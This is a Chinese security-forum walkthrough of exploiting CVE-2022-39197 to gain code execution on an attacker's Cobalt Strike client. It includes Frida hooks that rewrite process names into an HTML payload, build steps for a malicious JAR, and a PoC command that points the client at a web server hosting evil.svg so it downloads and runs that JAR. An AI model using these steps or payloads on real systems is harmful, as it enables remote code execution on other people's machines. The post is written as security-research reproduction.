安全矩阵

 找回密码
 立即注册
搜索
查看: 897|回复: 0

Cobalt Strike的各类反向上线操作

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 20:37:26 | 显示全部楼层 |阅读模式
前言
Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。

实现原理
攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例
  1. <p>
  2. </p><p>Kernel32.dll:</p><p>
  3. </p><p>CreateFileW</p><p>
  4. </p><p>ReadFile</p><p>
  5. </p><p>WriteFile</p><p>
  6. </p><p>FindFirstFileW</p><p>
  7. </p><p>CreateProcessW</p><p>
  8. </p><p>GetProcAddress</p><p>
  9. </p><p>LoadLibraryW</p><p>
  10. </p><p>VirtualAlloc</p><p>
  11. </p><p>VirtualProtect</p><p>
  12. </p><p>Advapi32.dll:</p><p>
  13. </p><p>RegOpenKeyExW</p><p>
  14. </p><p>RegQueryValueExW</p><p>
  15. </p><p>RegSetValueExW</p><p>
  16. </p><p>GetUserNameA</p><p>
  17. </p><p>User32.dll:</p><p>
  18. </p><p>MessageBoxW</p><p>
  19. </p><p>SetWindowTextW</p><p>
  20. </p><p>GetWindowTextW</p><p>
  21. </p><p>Gdi32.dll:</p><p>
  22. </p><p>TextOutW</p><p>
  23. </p><p>CreateFontIndirectW</p><p>
  24. </p><p>Shell32.dll:</p><p>
  25. </p><p>ShellExecuteW</p><p>
  26. </p><p>Ws2_32.dll:</p><p>
  27. </p><p>send</p><p>
  28. </p><p>recv</p>
复制代码


在 Frida 中,你可以使用 **Interceptor.attach **方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如**Kernel32.dll:**中的Process32Next




函数内整体逻辑拆开来分析下

处理函数进入 onEnter

  1. <p>onEnter: function(args) {</p><p>    this.pPROCESSENTRY32 = args[1];</p><p>    if(Process.arch == "ia32"){</p><p>        this.exeOffset = 36;</p><p>    }else{</p><p>        this.exeOffset = 44;</p><p>    }</p><p>    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);</p><p>},</p>
复制代码

在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名

处理函数离开 onLeave

  1. <p>onLeave: function(retval) {</p><p>    if(this.szExeFile.readAnsiString() == "target") {</p><p>        send("[!] Found beacon, injecting payload");</p><p>        this.szExeFile.writeAnsiString(payload);</p><p>    }</p><p>}</p>
复制代码

在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE

反制复现
环境准备:


红队        蓝队
IP        192.168.108.200        192.168.108.133
版本        Cobalt Strike 4.0        Cobalt Strike 4.9
注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)

开源POC和EXP:https://github.com/its-arun/CVE-2022-39197

1、编辑恶意文件内容

修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS



2、编译文件

使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下



3、将生成的恶意jar文件和svg文件放在同一路径下


将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下


4、蓝队在serve路径下开启一个web服务



5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址


6、执行POC脚本

  1. python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
复制代码


运行后,红队的cs客户端上可以看到此时木马已经成功上线


当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar




成功上线蓝队CS,从而达到反制RCE

思考
除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)



最后
此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:33 , Processed in 0.013642 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表